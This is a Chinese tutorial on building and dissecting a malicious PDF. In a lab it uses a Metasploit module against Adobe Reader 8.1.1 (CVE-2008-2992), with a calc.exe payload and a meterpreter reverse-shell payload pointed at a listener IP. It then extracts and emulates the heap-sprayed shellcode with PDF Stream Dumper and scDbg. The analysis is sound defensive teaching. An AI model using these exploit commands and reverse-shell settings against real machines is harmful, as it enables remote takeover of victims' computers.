溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何進(jìn)行惡意PDF文檔分析以及payload提取方法是什么

發(fā)布時(shí)間:2021-11-11 11:52:19 來源:億速云 閱讀:283 作者:柒染 欄目:編程語言

這篇文章將為大家詳細(xì)講解有關(guān)如何進(jìn)行惡意PDF文檔分析以及payload提取方法是什么,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對相關(guān)知識(shí)有一定的了解。

Acrobat Reader是一個(gè)可閱讀、搜索、打印幾乎任何類型的PDF文件并與之交互的PDF查看程序。不夸張的說,幾乎每個(gè)電腦用戶都安裝并使用過它。由于它的用戶范圍廣泛且安全問題頻出,因此它也成為了最容易被黑客利用的程序之一。通過度娘搜索“Acrobat Reader漏洞”那叫一個(gè)壯觀,動(dòng)不動(dòng)就是高危,看得我都手癢癢了~~

我將向大家展示創(chuàng)建惡意PDF文檔,觸發(fā)并利用漏洞的完整過程。此外,我還將帶大家深入分析惡意PDF文檔,了解payload的存儲(chǔ)方式以及提取方法。

PDF格式

PDF(便攜式文件格式,Portable Document Format)是由Adobe在1993年用于文件交換所發(fā)展出的文件格式。

PDF主要由三項(xiàng)技術(shù)組成:衍生自PostScript;字型嵌入系統(tǒng);資料壓縮及傳輸系統(tǒng)。它的優(yōu)點(diǎn)在於跨平臺(tái)、能保留文件原有格式(Layout)、開放標(biāo)準(zhǔn),能免版稅(Royalty-free)自由開發(fā)PDF相容軟體,是一個(gè)開放標(biāo)準(zhǔn)。以下是一個(gè)典型PDF文檔的結(jié)構(gòu)圖。有關(guān)更多信息,請參閱Adobe規(guī)范。

如何進(jìn)行惡意PDF文檔分析以及payload提取方法是什么

惡意PDF創(chuàng)建

我們將使用metasploit來創(chuàng)建一個(gè)惡意偽造的PDF文檔,其中將包含exploit以及我們自定義的payload。因?yàn)樵撀┒蠢檬轻槍μ囟ò姹镜?,因此我們需要在目?biāo)機(jī)器上下載安裝一個(gè)較早版本的Reader。

首先,我們來創(chuàng)建PDF。該P(yáng)DF利用成功后會(huì)在目標(biāo)機(jī)器上彈出計(jì)算器(calc.exe)。打開metasploit console并鍵入以下命令:

use exploit/windows/fileformat/adobe_utilprintf
set FILENAME malicious.pdf
set PAYLOAD windows/exec
set CMD calc.exe
show options
exploit

如下所示:

如何進(jìn)行惡意PDF文檔分析以及payload提取方法是什么

將剛創(chuàng)建的文件(/home/osboxes/.msf4/local/malicious.pdf)復(fù)制到共享驅(qū)動(dòng)器上。

執(zhí)行受感染PDF

在目標(biāo)計(jì)算機(jī)上,下載并安裝易受攻擊的Adobe Reader版本(metasploit已經(jīng)告訴我們版本應(yīng)小于8.1.2)。我選擇安裝的是8.1.1版。

安裝后,我們執(zhí)行malicious.pdf文件。你應(yīng)該會(huì)看到從Adobe Reader進(jìn)程生成的計(jì)算器。漏洞成功被利用。

如何進(jìn)行惡意PDF文檔分析以及payload提取方法是什么

我準(zhǔn)備了另一個(gè)惡意PDF,使用了不同的payload,如下:

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.29
set LPORT 4455

結(jié)果如下,我們成功在Adobe Reader上建立了一個(gè)后門(反向shell)。

如何進(jìn)行惡意PDF文檔分析以及payload提取方法是什么

分析受感染PDF

現(xiàn)在,讓我們來看看惡意PDF中的內(nèi)容,并嘗試提取其中的payload(我們?nèi)匀灰詂alc.exe PDF為例)。

首先,我們需要用到一個(gè)名為PDF Stream Dumper的工具,下載并安裝它。然后使用該工具加載我們的惡意PDF文檔(請花些時(shí)間熟悉該工具的基本使用)。

如何進(jìn)行惡意PDF文檔分析以及payload提取方法是什么

我們先來使用菜單欄中的 “Exploit Scan” 選項(xiàng)來檢測是否存在某些可利用漏洞:

Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 - util.printf - found in stream: 6

實(shí)際上,在stream 6中隱藏了一個(gè)可利用漏洞。

但是如果我們從頭開始:在PDF中搜索漏洞時(shí),我們大多數(shù)時(shí)候會(huì)遇到由Javascript代碼創(chuàng)建的堆噴射( heap spray)。該堆噴射用于將payload推送至堆上,一旦漏洞被觸發(fā)就可以執(zhí)行。

如果你打開Stream 1,你可以看到:

/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R

接著,我們打開stream 5:

/Type/Action/S/JavaScript/JS 6 0 R

執(zhí)行位于stream 6的Javascript。該流顯示了純Javascript,現(xiàn)在是時(shí)候打開“Javascript_UI”菜單了??梢钥吹竭@是一大串十六進(jìn)制編碼的字符,我們將其push到一個(gè)變量,以執(zhí)行heap spray操作。以下是我們的payload:

如何進(jìn)行惡意PDF文檔分析以及payload提取方法是什么

我們選擇payload(引號(hào)之間的部分),然后打開“Shellcode_analysis”菜單。選擇“scDbg - LibEmu Emulation”。此時(shí),會(huì)彈出一個(gè)新的窗口并將shellcode解碼為字節(jié)(你甚至可以將其保存到文件中):

如何進(jìn)行惡意PDF文檔分析以及payload提取方法是什么

LibEmu是一個(gè)能夠模擬處理器的庫,它會(huì)告知你匯編代碼的執(zhí)行信息,單擊“Launch”按鈕,一看你就明白了:

如何進(jìn)行惡意PDF文檔分析以及payload提取方法是什么

在這里,我們可以清楚地看到shellcode會(huì)打開一個(gè)calc.exe窗口并退出。讓我們另外一個(gè)惡意PDF(反向shell)也執(zhí)行相同的分析:

如何進(jìn)行惡意PDF文檔分析以及payload提取方法是什么

可以看到,Shellcode正在加載操作套接字所需的庫(ws2_32.dll),并嘗試回連C&C。

這里我并沒有展開談?wù)揺xploit本身,它位于javascript代碼的末尾。它正在利用printf函數(shù)上的緩沖區(qū)溢出來執(zhí)行任意代碼。以下是我們的heap-sprayed shellcode:

util.printf("%45000.45000f", 0);

關(guān)于如何進(jìn)行惡意PDF文檔分析以及payload提取方法是什么就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI